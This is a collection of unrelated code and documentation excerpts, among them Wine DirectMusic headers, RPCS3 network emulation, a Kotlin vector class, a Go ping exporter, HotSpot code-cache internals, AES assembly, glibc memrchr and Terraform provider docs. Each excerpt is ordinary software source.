        void **ret_iface);
ULONG WINAPI dmobj_IPersistStream_AddRef(IPersistStream *iface);
ULONG WINAPI dmobj_IPersistStream_Release(IPersistStream *iface);
HRESULT WINAPI dmobj_IPersistStream_GetClassID(IPersistStream *iface, CLSID *class);

/* IPersistStream methods not implemented in native */
HRESULT WINAPI unimpl_IPersistStream_GetClassID(IPersistStream *iface,
        CLSID *class);
HRESULT WINAPI unimpl_IPersistStream_IsDirty(IPersistStream *iface);
HRESULT WINAPI unimpl_IPersistStream_Save(IPersistStream *iface, IStream *stream,
        BOOL clear_dirty);
HRESULT WINAPI unimpl_IPersistStream_GetSizeMax(IPersistStream *iface,
        ULARGE_INTEGER *size);

/* Debugging helpers */
const char *debugstr_chunk(const struct chunk_entry *chunk);
const char *debugstr_dmguid(const GUID *id);
void dump_DMUS_OBJECTDESC(DMUS_OBJECTDESC *desc);


F702B '+po.' - sltu       $t6, $v1, $t7
	0x00009F5C: 0x55C00014 '...U' - bnezl      $t6, loc_00009FB0
	0x00009F60: 0x3C07E1BC '...<' - lui        $a3, 0xE1BC
	0x00009F64: 0x00A7C821 '!...' - addu       $t9, $a1, $a3
	0x00009F68: 0x0079C02B '+.y.' - sltu       $t8, $v1, $t9
	0x00009F6C: 0x57000010 '...W' - bnezl      $t8, loc_00009FB0
	0x00009F70: 0x3C07E1BC '...<' - lui        $a3, 0xE1BC
	0x00009F74: 0x30C50001 '...0' - andi       $a1, $a2, 0x1
	0x00009F78: 0x10A00007 '....' - beqz       $a1, loc_00009F98
	0x00009F7C: 0x30C80002 '...0' - andi       $t0, $a2, 0x2
	0x00009F80: 0x3C0BBC00 '...<' - lui        $t3, 0xBC00
	0x00009F84: 0x8D6B003C '<.k.' - lw         $t3, 60($t3)
	0x00009F88: 0x316A0001 '..j1' - andi       $t2, $t3, 0x1
	0x00009F8C: 0x1540FCFD '..@.' - bnez       $t2, loc_00009384
	0x00009F90: 0x2403FFFE '...$' - li         $v1, -2
	0x00009F94: 0x30C80002 '...0' - andi       $t0, $a2, 0x2

loc_00009F98:
		; Refs: 0x00009F78
	0x00009F98: 0x5100FCFA '...Q' - beqzl      $t0, loc_00009384
	0x00009F9C: 0x00001821 '!...' - move       $v1, $zr
	0x00009FA0: 0x3C02BC00 '...<' - lui        $v0, 0xBC00
	0x00009FA4: 0x8C42003C


_CASE(CELL_RUDP_ERROR_CONN_REFUSED);
			STR_CASE(CELL_RUDP_ERROR_CONN_TIMEOUT);
			STR_CASE(CELL_RUDP_ERROR_CONN_VERSION_MISMATCH);
			STR_CASE(CELL_RUDP_ERROR_CONN_TRANSPORT_TYPE_MISMATCH);
			STR_CASE(CELL_RUDP_ERROR_QUALITY_LEVEL_MISMATCH);
			STR_CASE(CELL_RUDP_ERROR_THREAD);
			STR_CASE(CELL_RUDP_ERROR_THREAD_IN_USE);
			STR_CASE(CELL_RUDP_ERROR_NOT_ACCEPTABLE);
			STR_CASE(CELL_RUDP_ERROR_MSG_TOO_LARGE);
			STR_CASE(CELL_RUDP_ERROR_NOT_BOUND);
			STR_CASE(CELL_RUDP_ERROR_CANCELLED);
			STR_CASE(CELL_RUDP_ERROR_INVALID_VPORT);
			STR_CASE(CELL_RUDP_ERROR_WOULDBLOCK);
			STR_CASE(CELL_RUDP_ERROR_VPORT_IN_USE);
			STR_CASE(CELL_RUDP_ERROR_VPORT_EXHAUSTED);
			STR_CASE(CELL_RUDP_ERROR_INVALID_SOCKET);
			STR_CASE(CELL_RUDP_ERROR_BUFFER_TOO_SMALL);
			STR_CASE(CELL_RUDP_ERROR_MSG_MALFORMED);
			STR_CASE(CELL_RUDP_ERROR_ADDR_IN_USE);
			STR_CASE(CELL_RUDP_ERROR_ALREADY_BOUND);
			STR_CASE(CELL_RUDP_ERROR_ALREADY_EXISTS);
			STR_CASE(CELL_RUDP_ERROR_INVALID_POLL_ID);
			STR_CASE(CELL_RUDP_ERROR_TOO_MANY_CONTEXTS);
			STR_CASE(CELL_RUDP_ERROR_IN_PROGRESS);
			STR_CASE(CELL_RUDP_ERROR_NO_EVENT_HANDLER);
			STR_CASE(CELL_RUDP_ERROR_PAYLOAD_TOO_LARGE);
			STR_CASE(CELL_RUDP_ERROR_END_OF_DATA);
			STR_CASE(CELL_RUDP_ERROR_ALREADY_ESTABLISHED);
			STR_CASE(CELL_RUDP_ERROR_KEEP_ALIVE_FAILURE);
		}

		return unknown;
	});
}

struct rudp_info
{
	// allocator functions
	std::function<vm::ptr<void>(ppu_thread& ppu, u32 size)> malloc;
	std::function<void(ppu_thread& ppu, vm::ptr<void> ptr)> free;

	// event handler function
	vm::ptr<CellRudpEventHandler> handler = vm::null;
	vm::ptr<void> handler_arg{};

	shared_mutex mutex;
};

error_code cellRudpInit(vm::ptr<CellRudpAllocator> allocator)
{
	cellRudp.warning("cellRudpInit(allocator=*0x%x)", allocator);

	auto& rudp = g_fxo->get<rudp_info>();

	if (rudp.malloc)
	{
		return CELL_RUDP_ERROR_ALREADY_INITIALIZED;
	}

	if (allocator)
	{
		rudp.malloc = allocator->app_malloc;
		rudp.free = allocator->app_free;
	}
	else
	{
		rudp.malloc = [](ppu_thread&, u32 size)
		{
			return vm::ptr<void>::make(vm::alloc(size, vm::main));
		};

		rudp.free = [](ppu_thread&, vm::ptr<void> ptr)
		{
			if (!vm::dealloc(ptr.addr(), vm::main


buf: FloatBuffer, offset: Int): FloatBuffer {
        buf[offset] = x
        buf[offset + 1] = y
        buf[offset + 2] = z
        buf[offset + 3] = w
        return buf
    }

    infix fun to(ptr: Ptr<Float>) {
        ptr[0] = x
        ptr[1] = y
        ptr[2] = z
        ptr[3] = w
    }

    // -- Component accesses --

    override operator fun set(index: Int, value: Number) = when (index) {
        0 -> x = value.f
        1 -> y = value.f
        2 -> z = value.f
        3 -> w = value.f
        else -> throw ArrayIndexOutOfBoundsException()
    }

    fun toVec3() = Vec3(this)
    fun to(res: Vec3) = res put this

    // -- Unary arithmetic operators --

    operator fun unaryPlus() = this

    operator fun unaryMinus() = Vec4(-x, -y, -z, -w)

    // -- Increment main.and decrement operators --

    operator fun inc(res: Vec4 = Vec4()) = plus(res, this, 1f, 1f, 1f, 1f)
    fun incAssign() = plus(this, this, 1f, 1f, 1f, 1f)

    operator fun dec(res: Vec4 = Vec4()) = minus(res, this, 1f, 1f, 1f, 1f)
    fun decAssign() = minus(this, this, 1f, 1f, 1f, 1f)

    // -- Specific binary arithmetic operators --

    operator fun plus(b: Float) = plus(Vec4(), this, b, b, b, b)
    operator fun plus(b: Vec4) = plus(Vec4(), this, b.x, b.y, b.z, b.w)

    fun plus(bX: Float, bY: Float, bZ: Float, bW: Float, res: Vec4 = Vec4()) = plus(res, this, bX, bY, bZ, bW)
    fun plus(b: Float, res: Vec4 = Vec4()) = plus(res, this, b, b, b, b)
    fun plus(b: Vec4, res: Vec4 = Vec4()) = plus(res, this, b.x, b.y, b.z, b.w)

    fun plusAssign(bX: Float, bY: Float, bZ: Float, bW: Float) = plus(this, this, bX, bY, bZ, bW)
    infix operator fun plusAssign(b: Float) {
        plus(this, this, b, b, b, b)
    }

    infix operator fun plusAssign(b: Vec4) {
        plus(this, this, b.x, b.y, b.z, b.w)
    }

    operator fun minus(b: Float) = minus(Vec4(), this, b, b, b, b)
    operator fun minus(b: Vec4) = minus(Vec4(), this, b.x, b.y, b.z, b.w)

    fun minus(bX: Float, bY: Float, bZ: Float, bW: Float, res: Vec4 = Vec4()) = minus(res, this, bX, bY, bZ, bW)
    fun minus(b: Float, res: Vec4 = Vec4()) = minus(res, this, b, b, b, b)
    fun minus(b: Vec4, res: Vec4 = Vec4()) = minus(res, this, b.x, b.y, b.z, b.w)

    fun minusAssign(bX: Float, bY: Float, bZ: Float, bW: Float) = minus(this, this, bX, bY, bZ, bW)
    infix operator fun minusAssign(b: Float) {
        minus(this, this, b, b, b, b)
    }

    infix operator fun minusAssign(b: Vec4) {
        minus(this, this, b.x, b.y, b.z, b.w)
    }

    operator fun times(b: Float) = times(Vec4(), this, b, b, b, b)
    operator fun times(b: Vec4) = times(Vec4(), this, b.x, b.y, b.z, b.w)

    fun times(bX: Float, bY: Float, bZ


e_rvar("diag.j", 420, Rv_memaddr_pattern_dma);
!!#
!!#                       for (i=0;i<16;i++) {
!!#                          !IJ_printf (sjm_4, "# debug %d \n",i);
!!#                          sjm0_data[sjm_wr0][i] = IJ_get_rvar_val32("diag.j", 424, Rv_rand32);
!!# 			 IJ_update_rvar("diag.j", 425, Rv_rand32);
!!#                          if (i%4 == 0) {IJ_printf ("diag.j", 426, sjm_4, "        "); }
!!#                          IJ_printf ("diag.j", 427, sjm_4, "0x%08x ",sjm0_data[sjm_wr0][i]);
!!#                           if ((i+1)%4 == 0) {
!!#                             if (i==15 ) IJ_printf ("diag.j", 429, sjm_4, "\n"); else
!!#                             IJ_printf ("diag.j", 430, sjm_4, "+\n");
!!#                           }
!!#                         }
!!#                       if (sjm_wr0 == 7) sjm_wr0 = 0; else sjm_wr0++;
!!#                     }
!!#                 }
!!#
!!# ;
!!#
!!# set_sjm4_rd_b : mSET_SJM4_RD_B
!!#                 {
!!#
!!#                   if (sjm4_cnt > 0) {
!!#                    IJ_printf ("diag.j", 443, sjm_4, "\n");
!!#                      sjm4_cnt--;
!!#
!!#                      sj4_ad = sjm0_addr[sjm_rd0];
!!#                      IJ_printf ("diag.j", 448, sjm_4, "READBLK  0x%016llx +\n",sj4_ad);
!!#
!!#                       for (i=0;i<16;i++) {
!!#                          sjm4_dat = sjm0_data[sjm_rd0][i];
!!#                          if (i%4 == 0) IJ_printf ("diag.j", 452, sjm_4, "        ");
!!#                          IJ_printf ("diag.j", 453, sjm_4, "0x%08x ",sjm4_dat);
!!#                           if ((i+1)%4 == 0) {
!!#                             if (i==15 ) IJ_printf ("diag.j", 455, sjm_4, "\n"); else
!!#                             IJ_printf ("diag.j", 456, sjm_4, "+\n");
!!#                            }
!!#                         }
!!#                       if (sjm_rd0 == 7) sjm_rd0 = 0; else sjm_rd0++;
!!#                     }
!!#                 }
!!#
!!# ;
!!#
!!# set_sjm4_wr_m : mSET_SJM4_WR_M
!!#                 {
!!#
!!#                   if (sjm4_cnt > 0) {
!!#                    IJ_printf ("diag.j", 470, sjm_4, "\n");
!!#                      !sjm4_cnt--;
!!#
!!#  		     sjm0_w_mask =  IJ_get_rvar_val32("diag.j", 474, Rv_rand_mask);
!!#                      IJ_update_rvar("diag.j", 475, Rv_rand_mask);
!!#
!!#                       m_tmp = sjm0_w_mask;


）`
	}else if rt == 5 {
		switch rc {
		case 0: message = `Redirect for network——对网络重定向`
		case 1: message = `Redirect for host——对主机重定向`
		case 2: message = `Redirect for TOS and network——对服务类型和网络重定向`
		case 3: message = `Redirect for TOS and host——对服务类型和主机重定向`
		}
	}else if rt == 11 {
		switch rc {
		case 0: message = `TTL equals 0 during transit——传输期间生存时间为0`
		case 1: message = `TTL equals 0 during reassembly——在数据报组装期间生存时间为0`
		}
	}else if rt == 12 {
		switch rc {
		case 0: message = `IP header bad (catchall error)——坏的IP首部（包括各种差错）`
		case 1: message = `Required options missing——缺少必需的选项`
		}
	}
	return message
}
package icmpping

import (
	"github.com/WeBankPartners/open-monitor/monitor-agent/ping_exporter/funcs"
	"sync"
)

var (
	TestModel bool
	localIp   []string // 存储本机IP
	timeout   int
	//lastResultMap = make(map[string]funcs.PingResultObj)  // 保存上次结果，和本次进行对比

	//resultMap = make(map[string]funcs.PingResultObj)   // 保存本次结果
	resultMapLock = new(sync.RWMutex)

	resultListNew []*funcs.PingResultObj

	//retryMap = make(map[string]int)   // 保存需要重试的IP
	//retryMapLock = new(sync.RWMutex)

	successIpList   []string
	successListLock = new(sync.RWMutex)

	lossCalcMapLock = new(sync.RWMutex)
	lossCalcList    []*funcs.PingResultObj
	//retryIpList  []string
	//retryListLock = new(sync.RWMutex)
)

func addSuccessIp(ip string) {
	successListLock.Lock()
	defer successListLock.Unlock()
	successIpList = append(successIpList, ip)
}

func GetSuccessIp() []string {
	successListLock.RLock()
	defer successListLock.RUnlock()
	return successIpList
}

func ClearSuccessIp() {
	successListLock.Lock()
	successIpList = []string{}
	successListLock.Unlock()
}

//func addRetryIp(ip string) {
//	retryListLock.Lock()
//	defer retryListLock.Unlock()
//	retryIpList = append(retryIpList, ip)
//}
//
//func IsInRetryIp(ip string) bool {
//	exist := false
//	retryListLock.RLock()
//	for _,v := range retryIpList {
//		if v == ip {
//			exist = true
//			break
//		}
//	}
//	retryListLock.RUnlock()
//	return exist
//}
//
//func GetRetryIp() []string {
//	retryListLock.RLock()
//	defer retryListLock.RUnlock()
//	return retryIpList
//}
//
//func ClearRetryIp(){
//	retryListLock.Lock()
//	retryIpList = []string{}
//	retryListLock.Unlock()
//}

func writeResultMap(ip string, re int, useTime float64) {
	//resultMapLock.Lock()
	//defer resultMapLock.Unlock()
	//resultMap[ip] = funcs.PingResultObj{UpDown:re, UseTime:useTime}
	resultMapLock.Lock()
	for _, v := range resultListNew {
		if v


      } else {
        report_codemem_full();
      }
      return NULL;
    }
    if (PrintCodeCacheExtension) {
      ResourceMark rm;
      tty->print_cr("code cache extended to [" INTPTR_FORMAT ", " INTPTR_FORMAT "] (" SSIZE_FORMAT " bytes)",
                    (intptr_t)_heap->low_boundary(), (intptr_t)_heap->high(),
                    (address)_heap->high() - (address)_heap->low_boundary());
    }
  }
  maxCodeCacheUsed = MAX2(maxCodeCacheUsed, ((address)_heap->high_boundary() -
                          (address)_heap->low_boundary()) - unallocated_capacity());
  verify_if_often();
  print_trace("allocation", cb, size);
  return cb;
}

void CodeCache::free(CodeBlob* cb) {
  assert_locked_or_safepoint(CodeCache_lock);
  verify_if_often();

  print_trace("free", cb);
  if (cb->is_nmethod()) {
    _number_of_nmethods--;
    if (((nmethod *)cb)->has_dependencies()) {
      _number_of_nmethods_with_dependencies--;
    }
  }
  if (cb->is_adapter_blob()) {
    _number_of_adapters--;
  }
  _number_of_blobs--;

  _heap->deallocate(cb);

  verify_if_often();
  assert(_number_of_blobs >= 0, "sanity check");
}

void CodeCache::commit(CodeBlob* cb) {
  // this is called by nmethod::nmethod, which must already own CodeCache_lock
  assert_locked_or_safepoint(CodeCache_lock);
  if (cb->is_nmethod()) {
    _number_of_nmethods++;
    if (((nmethod *)cb)->has_dependencies()) {
      _number_of_nmethods_with_dependencies++;
    }
  }
  if (cb->is_adapter_blob()) {
    _number_of_adapters++;
  }

  // flush the hardware I-cache
  ICache::invalidate_range(cb->content_begin(), cb->content_size());
}

void CodeCache::flush() {
  assert_locked_or_safepoint(CodeCache_lock);
  Unimplemented();
}

// Iteration over CodeBlobs

#define FOR_ALL_BLOBS(var)       for (CodeBlob *var =       first() ; var != NULL; var =       next(var) )
#define FOR_ALL_ALIVE_BLOBS(var) for (CodeBlob *var = alive(first()); var != NULL; var = alive(next(var)))
#define FOR_ALL_ALIVE_NMETHODS(var) for (nmethod *var = alive_nmethod(first()); var != NULL; var = alive_nmethod(next(var)))

bool CodeCache::contains(void *p) {
  // It should be ok to call contains without holding a lock
  return _heap->contains(p);
}

// This method is safe to call without holding the CodeCache_lock, as long as a dead codeblob is not
// looked up (i.e., one that has been marked for deletion). It only dependes on the _segmap to contain
// valid indices, which it will always do, as long as the CodeBlob is not in the process of being recycled.
CodeBlob* CodeCache::find_blob(void* start) {
  CodeBlob* result = find_blob_unsafe(start);
  if (result == NULL) return NULL;
  // We could potientially look up non_entrant methods
  guarantee(!result->is_zombie() || result->is_locked_by_vm() || is_error_reported(), "unsafe access to zombie method");
  return result;
}

nmethod* CodeCache::find_


>fn

Object of type Fn

expr

Object of type Expr

state

Object of type State

data

Object of type Data

Valid expressions

<colgroup>
<col>
<col>
<col>
<col>
</colgroup>

Name
Expression
Type
Semantics

Apply Transform

when< _, Fn(Tn...)>()(expr, state, data)

result_type

Applies the transform.

Models

boost::proto::_child(boost::proto::_left)

Copyright © 2008 Eric Niebler

        Distributed under the Boost Software License, Version 1.0. (See accompanying
        file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)

<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Chapter 2. Boost.Align</title>
<link rel="stylesheet" href="../../doc/src/boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.78.1">
<link rel="home" href="index.html" title="The Boost C++ Libraries BoostBook Documentation Subset">
<link rel="up" href="libraries.html" title="Part I. The Boost C++ Libraries (BoostBook Subset)">
<link rel="prev" href="boost/numeric/functional/as_one_T__std__idp68292848.html" title="Struct template as_one<T, std_vector_tag>">
<link rel="next" href="align/rationale.html" title="Rationale">

<body bgcolor="white" text="black" link="#0000FF


MWORD PTR[112+r13],xmm4
	lea	r13,QWORD PTR[128+r13]
	sub	r14,8
	jnc	$L$cbc_dec_loop

	add	r14,8
	jz	$L$cbc_dec_done

	movdqu	xmm15,XMMWORD PTR[r12]
	mov	rax,rsp
	mov	r10d,edx
	cmp	r14,2
	jb	$L$cbc_dec_one
	movdqu	xmm0,XMMWORD PTR[16+r12]
	je	$L$cbc_dec_two
	movdqu	xmm1,XMMWORD PTR[32+r12]
	cmp	r14,4
	jb	$L$cbc_dec_three
	movdqu	xmm2,XMMWORD PTR[48+r12]
	je	$L$cbc_dec_four
	movdqu	xmm3,XMMWORD PTR[64+r12]
	cmp	r14,6
	jb	$L$cbc_dec_five
	movdqu	xmm4,XMMWORD PTR[80+r12]
	je	$L$cbc_dec_six
	movdqu	xmm5,XMMWORD PTR[96+r12]
	movdqa	XMMWORD PTR[32+rbp],xmm14
	call	_bsaes_decrypt8
	pxor	xmm15,XMMWORD PTR[32+rbp]
	movdqu	xmm7,XMMWORD PTR[r12]
	movdqu	xmm8,XMMWORD PTR[16+r12]
	pxor	xmm0,xmm7
	movdqu	xmm9,XMMWORD PTR[32+r12]
	pxor	xmm5,xmm8
	movdqu	xmm10,XMMWORD PTR[48+r12]
	pxor	xmm3,xmm9
	movdqu	xmm11,XMMWORD PTR[64+r12]
	pxor	xmm1,xmm10
	movdqu	xmm12,XMMWORD PTR[80+r12]
	pxor	xmm6,xmm11
	movdqu	xmm14,XMMWORD PTR[96+r12]
	pxor	xmm2,xmm12
	movdqu	XMMWORD PTR[r13],xmm15
	movdqu	XMMWORD PTR[16+r13],xmm0
	movdqu	XMMWORD PTR[32+r13],xmm5
	movdqu	XMMWORD PTR[48+r13],xmm3
	movdqu	XMMWORD PTR[64+r13],xmm1
	movdqu	XMMWORD PTR[80+r13],xmm6
	movdqu	XMMWORD PTR[96+r13],xmm2
	jmp	$L$cbc_dec_done
ALIGN	16
$L$cbc_dec_six::
	movdqa	XMMWORD PTR[32+rbp],xmm14
	call	_bsaes_decrypt8
	pxor	xmm15,XMMWORD PTR[32+rbp]
	movdqu	xmm7,XMMWORD PTR[r12]
	movdqu	xmm8,XMMWORD PTR[16+r12]
	pxor	xmm0,xmm7
	movdqu	xmm9,XMMWORD PTR[32+r12]
	pxor	xmm5,xmm8
	movdqu	xmm10,XMMWORD PTR[48+r12]
	pxor	xmm3,xmm9
	movdqu	xmm11,XMMWORD PTR[64+r12]
	pxor	xmm1,xmm10
	movdqu	xmm14,XMMWORD PTR[80+r12]
	pxor	xmm6,xmm11
	movdqu	XMMWORD PTR[r13],xmm15
	movdqu	XMMWORD PTR[16+r13],xmm0
	movdqu	XMMWORD PTR[32+r13],xmm5


We cannot predict the result at the more
     significant bytes (positions j+1..3), but it does not matter since we
     already have a non-zero bit at position 8*j+7.

     So, the test whether any byte in longword1 is zero is equivalent to
     testing whether tmp is nonzero.  */

  while (n >= sizeof (longword))
    {
      longword longword1 = *--longword_ptr ^ repeated_c;

      if ((((longword1 - repeated_one) & ~longword1)
           & (repeated_one << 7)) != 0)
        {
          longword_ptr++;
          break;
        }
      n -= sizeof (longword);
    }

  char_ptr = (const unsigned char *) longword_ptr;

  /* At this point, we know that either n < sizeof (longword), or one of the
     sizeof (longword) bytes starting at char_ptr is == c.  On little-endian
     machines, we could determine the first such byte without any further
     memory accesses, just by looking at the tmp result from the last loop
     iteration.  But this does not work on big-endian machines.  Choose code
     that works in both cases.  */

  while (n-- > 0)
    {
      if (*--char_ptr == c)
        return (void *) char_ptr;
    }

  return NULL;
}
#ifdef weak_alias
weak_alias (__memrchr, memrchr)
#endif


c3.5-4.3 9-6.5 14.5-5.7 46.9 6.3 83.1 46.5 83.1 95.1 0 11.2-1.9 22-5.5 32l5.5 0c35.3 0 64 28.7 64 64 0 19.1-8.4 36.3-21.7 48l13.7 0c39.8 0 72 32.2 72 72 0 23.2-11 43.8-28 57 34.1 5.7 60 35.3 60 71 0 39.8-32.2 72-72 72L72 512c-39.8 0-72-32.2-72-72 0-35.7 25.9-65.3 60-71-17-13.2-28-33.8-28-57 0-39.8 32.2-72 72-72l13.7 0c-13.3-11.7-21.7-28.9-21.7-48 0-35.3 28.7-64 64-64l16.2 0c44.1-.1 79.8-35.9 79.8-80 0-9.2-1.5-17.9-4.3-26.1-1.8-5.2-.8-11.1 2.8-15.4z"],dharmachakra:[512,512,[9784],"f655","M337.8 205.7l48.6-42.5c13.8 19.3 23.4 41.9 27.4 66.2l-64.4 4.3c-2.4-10.1-6.4-19.5-11.6-28zm140.1 19.5c-5.3-38.8-20.6-74.5-43.2-104.3l.8-.7C449 108.4 449.7 87.6 437 75s-33.4-12-45.2 1.5l-.7 .8c-29.8-22.6-65.5-37.9-104.3-43.2l.1-1.1c1.2-17.9-13-33-30.9-33s-32.1 15.2-30.9 33l.1 1.1c-38.8 5.3-74.5 20.6-104.3 43.2l-.7-.8C108.4 63 87.6 62.3 75 75s-12 33.4 1.5 45.2l.8 .7c-22.6 29.8-37.9 65.5-43.2 104.3l-1.1-.1c-17.9-1.2-33 13-33 30.9s15.2 32.1 33 30.9l1.1-.1c5.3 38.8 20.6 74.5 43.2 104.3l-.8 .7C63 403.6 62.3 424.4 75 437s33.4 12 45.2-1.5l.7-.8c29.8 22.6 65.5 37.9 104.3 43.2l-.1 1.1c-1.2 17.9 13 33 30.9 33s32.1-15.2 30.9-33l-.1-1.1c38.8-5.3 74.5-20.6 104.3-43.2l.7 .8c11.8 13.5 32.5 14.2 45.2 1.5s12-33.4-1.5-45.2l-.8-.7c22.6-29.8 37.9-65.5 43.2-104.3l1.1 .1c17.9 1.2 33-13 33-30.9s-15.2-32.1-33-30.9l-1.1 .1zM163.2 125.6c19.3-13.8 41.9-23.4 66.2-27.5l4.3 64.4c-10 2.4-19.5 6.4-28 11.6l-42.5-48.6zm-65 103.8c4.1-24.4 13.7-46.9 27.5-66.2l48.6 42.5c-5.3 8.5-9.2 18-11.6 28l-64.4-4.3zm27.5 119.4c-13.8-19.3-23.4-41.9-27.5-66.2l64.


.2-9.6L468.7 70.3l-47 99.9c-3.7 7.8-11.3 13.1-19.9 13.7s-16.9-3.4-21.7-10.6L339.2 112 216 112c-13.3 0-24-10.7-24-24s10.7-24 24-24l136 0c8 0 15.5 4 20 10.7l24.4 36.6 45.9-97.5C445.9 6.2 453.2 1 461.6 .1s16.6 2.7 21.6 9.5zM320 160l12.7 0 20.7 31.1c11.2 16.8 30.6 26.3 50.7 24.8s37.9-13.7 46.5-32L461.9 160l82.1 0c53 0 96 43 96 96l0 224c0 17.7-14.3 32-32 32s-32-14.3-32-32l0-32-224 0-32 0L64 448l0 32c0 17.7-14.3 32-32 32s-32-14.3-32-32L0 96C0 78.3 14.3 64 32 64s32 14.3 32 32l0 256 224 0 0-160c0-17.7 14.3-32 32-32zm-144 0a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"],"shuttle-space":[640,512,["space-shuttle"],"f197","M130 480c40.6 0 80.4-11 115.2-31.9L352 384l-224 0 0 96 2 0zM352 128L245.2 63.9C210.4 43 170.6 32 130 32l-2 0 0 96 224 0zM96 128l0-96L80 32C53.5 32 32 53.5 32 80l0 48 8 0c-22.1 0-40 17.9-40 40l0 16L0 328l0 16c0 22.1 17.9 40 40 40l-8 0 0 48c0 26.5 21.5 48 48 48l16 0 0-96 8 0c26.2 0 49.4-12.6 64-32l288 0c69.3 0 135-22.7 179.2-81.6c6.4-8.5 6.4-20.3 0-28.8C591 182.7 525.3 160 456 160l-288 0c-14.6-19.4-37.8-32-64-32l-8 0zM512 243.6l0 24.9c0 19.6-15.9 35.6-35.6 35.6c-2.5 0-4.4-2-4.4-4.4l0-87.1c0-2.5 2-4.4 4.4-4.4c19.6 0 35.6 15.9 35.6 35.6z"],"face-laugh":[512,512,["laugh"],"f599","M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM96.8 314.1c-3.8-13.7 7.4-26.1 21.6-26.1l275.2 0c14.2 0 25.5 12.4 21.6 26.1C396.2 382 332.1 432 256 432s-140.2-50-159.2-117.9zM144.4 192a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"],"folder-open":[576,512,[128194,128449,61717],"f07c","M88.7 223.8L0 375.8 0 96C0 60.7 28.7 32 64 32l117.5 0c17 0 33.3 6.7 45.3 18.7l26.5 26.5c12 12 28.3 18.7 45.3 18.7L416 96c35.3 0 64 28.7 64 64l0 32-336 0c-22.8 0-43.8 12.1-55.3 31.8zm27.6 16.1C122


form Registry: {@link https://registry.terraform.io/providers/hashicorp/aws/6.16.0/docs/resources/timestreaminfluxdb_db_cluster#password TimestreaminfluxdbDbCluster#password}

---

##### `username`Required

```python
username: str
```

- *Type:* str

The username of the initial admin user created in InfluxDB.

Must start with a letter and can't end with a hyphen or contain two
consecutive hyphens. For example, my-user1. This username will allow
you to access the InfluxDB UI to perform various administrative tasks
and also use the InfluxDB CLI to create an operator token. These
attributes will be stored in a Secret created in Amazon Secrets
Manager in your account.

Docs at Terraform Registry: {@link https://registry.terraform.io/providers/hashicorp/aws/6.16.0/docs/resources/timestreaminfluxdb_db_cluster#username TimestreaminfluxdbDbCluster#username}

---

##### `vpc_security_group_ids`Required

```python
vpc_security_group_ids: typing.List[str]
```

- *Type:* typing.List[str]

A list of VPC security group IDs to associate with the Timestream for InfluxDB cluster.

Docs at Terraform Registry: {@link https://registry.terraform.io/providers/hashicorp/aws/6.16.0/docs/resources/timestreaminfluxdb_db_cluster#vpc_security_group_ids TimestreaminfluxdbDbCluster#vpc_security_group_ids}

---

##### `vpc_subnet_ids`Required

```python
vpc_subnet_ids: typing.List[str]
```

- *Type:* typing.List[str]

A list of VPC subnet IDs to associate with the DB cluster.

Provide at least
two VPC subnet IDs in different availability zones when deploying with a Multi-AZ standby.

Docs at Terraform Registry: {@link https://registry.terraform.io/providers/hashicorp/aws/6.16.0/docs/resources/timestreaminfluxdb_db_cluster#vpc_subnet_ids TimestreaminfluxdbDbCluster#vpc_subnet_ids}

---

##### `db_parameter_group_identifier`Optional

```python
db_parameter_group_identifier: str
```

- *Type:* str

The ID of the DB parameter group to assign to your DB cluster.

DB parameter groups specify how the database is configured. For example, DB parameter groups
can specify the limit for query concurrency.

Docs at Terraform Registry: {@link https://registry.terraform.io/providers/hashicorp/aws/6.16.0/docs/resources/timestreaminfluxdb_db_cluster#db_parameter_group_identifier TimestreaminfluxdbDbCluster#db_parameter_group_identifier}

---

##### `db_storage_type`Optional <a name="db_storage_type" id="@cdktf/provider-aws.timestreaminfluxdbDbCluster.Time


// The MIT License
//
// Copyright (c) 2014 Gwendal Roué
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.

#import <Foundation/Foundation.h>
#import "GRMustacheAvailabilityMacros_private.h"

@class GRMustacheContext;
@class GRMustacheExpression;

/**
 * TODO
 */
@interface GRMustacheExpressionInvocation : NSObject {
@private
    GRMustacheContext *_context;
    GRMustacheExpression *_expression;
    id _value;
    BOOL _valueIsProtected;
}

/**
 * TODO
 */
@property (nonatomic, assign) GRMustacheContext *context GRMUSTACHE_API_INTERNAL;

/**
 * TODO
 */
@property (nonatomic, assign) GRMustacheExpression *expression GRMUSTACHE_API_INTERNAL;

/**
 * TODO
 */
@property (nonatomic, assign, readonly) id value GRMUSTACHE_API_INTERNAL;

/**
 * TODO
 */
@property (nonatomic, readonly) BOOL valueIsProtected GRMUSTACHE_API_INTERNAL;

/**
 * TODO
 */
- (BOOL)invokeReturningError:(NSError **)error GRMUSTACHE_API_INTERNAL;

@end


or, GF_Node *node);
void compositor_init_svg_audio(GF_Compositor *compositor, GF_Node *node, Bool slaved_timing);
void compositor_init_svg_use(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_animation(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_foreign_object(GF_Compositor *compositor, GF_Node *node);

void compositor_init_svg_text(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_tspan(GF_Compositor *compositor, GF_Node *node);
void compositor_init_svg_textarea(GF_Compositor *compositor, GF_Node *node);
